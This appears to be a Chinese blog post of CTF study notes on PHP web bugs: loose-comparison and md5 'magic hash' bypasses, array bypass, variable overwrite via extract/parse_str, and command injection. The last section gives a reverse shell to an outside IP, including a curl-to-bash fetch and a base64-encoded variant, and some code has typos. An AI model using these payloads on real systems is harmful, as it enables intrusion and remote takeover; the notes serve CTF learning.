常见CTF
目录
弱类型
=== 和 == 比较
<?php var_dump( "admin"==O); //true var_dump("1admin"==1); //true var_dump( "admin1"==1) //false var_dump( "admin1"==O) //true var_dump ( "0e123456"=="0e4456789"); //true 科学计数法 ?>
123admin => 123 admin => 0 admin1 => 0 123admin123 => 132
ctf:
if(isset($_POST['a']){ $a = json_decode($_POST['a']]); $key = "*******" if($a -> key == $key){ echo "flag"; } else { echo "fail"; } } else { echo "---"; }
fail
flag
哈希(md5)绕过
可以参考
https://blog.csdn.net/LYJ20010728/article/details/116779357
哈希验证
科学计数法绕过
$a != $b md5($a) == md5($b) '0e545993274517709034328855841020' == '0e342768416822451524974117254469' //true byGcY 0e591948146966052067035298880982 QNKCDZO 0e830400451993494058024219903391 s878926199a 0e545993274517709034328855841020 s155964671a 0e342768416822451524974117254469 s214587387a 0e848240448830537924465865611904 s214587387a 0e848240448830537924465865611904 s878926199a 0e545993274517709034328855841020 s1091221200a 0e940624217856561557816327384675 s1885207154a 0e509367213418206700842008763514 240610708 0e462097431906509019562988736854 314282422 0e990995504821699494520356953734 571579406 0e972379832854295224118025748221 903251147 0e174510503823932942361353209384 a = s878926199a b = s155964671a md5($a) == md5($b) 0e545993274517709034328855841020 == 0e342768416822451524974117254469
数组绕过
由于md5不能加密数组,在加密数组的时候会返回NULL,所以我们可以传入两个数组
数组绕过适用于源码中没有判断变量类型或内容,如果加上了过滤函数就不能使用了
常见过滤函数如下: ctype_alnum ( string $text ) : bool // 如果text中所有的字符全部是字母和(或者)数字,返回 TRUE 否则返回FALSE is_numeric ( mixed $var ) : bool // 如果 var 是数字和数字字符串则返回 TRUE,否则返回 FALSE
(string)$a !=(string)$b md5($a) === md5($b) 老老实实的利用hash碰撞 hash碰撞例子:https://www.jianshu.com/p/c9089fd5b1ba
有意思的题
1. 顺序的问题
对数组的a[0]a[1]严格过滤,但是接收的是传入的前两个参数
2. $md5 = md5($md5)
$md5 = md5($md5) 需要一个md5和md5(md5)都是0e开头 很多: 0e01875552079 0e780449305367629893512581736357 0e01975903983 0e317084484960342086618161584202 0e02042356163 0e335912055437180460060141819624 0e02218562930 0e151492820470888772364059321579 0e02451355147 0e866503534356013079241759641492 0e02739970294 0e894318228115677783240047043017 ...
变量覆盖问题
Extract()
$arr = $_GET[ 'arr' ] ; extract($arr); @$d ( $_POST ['a']);//动态函数调用
Parse_str()
$arr = $_GET[ 'arr' ] ; parse_str($arr) @$d ( $_POST ['a']);//动态函数调用
题
首先 QNKCDZO md5为科学计数法形式
所以传入 ?id=a[0]=s1091221200a
命令执行漏洞
命令执行
实例
正常:
利用: 127.0.0.1;ls -l
联合执行
前一个命令的结果作为后一个命令的参数
换行符 %0a %0d
反弹shell
监听这个端口:
nc -lvp 13258
在web的txt文件中写入 执行代码: bash -i > & /dev/tcp/101.132.237.224/12358 0>&1
执行:curl http://101.132.237.224/12358/d.txt | bash
反弹shell成功 获取目标shell
也可以结合base64加密
echo YmFzaCAtaSA+ICYgL2Rldi90Y3AvMTAxLjEzMi4yMzcuMjI0LzEyMzU4IDA+JjE= | base64 -d | bash
无回显的
1.带出
2.延时盲注 shell
过滤
空格过滤
代替空格
关键字过滤
本文作者:crabin88
本文链接:https://www.cnblogs.com/crabin/p/17092301.html
版权声明:本作品采用知识共享署名-非商业性使用-禁止演绎 2.5 中国大陆许可协议进行许可。
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步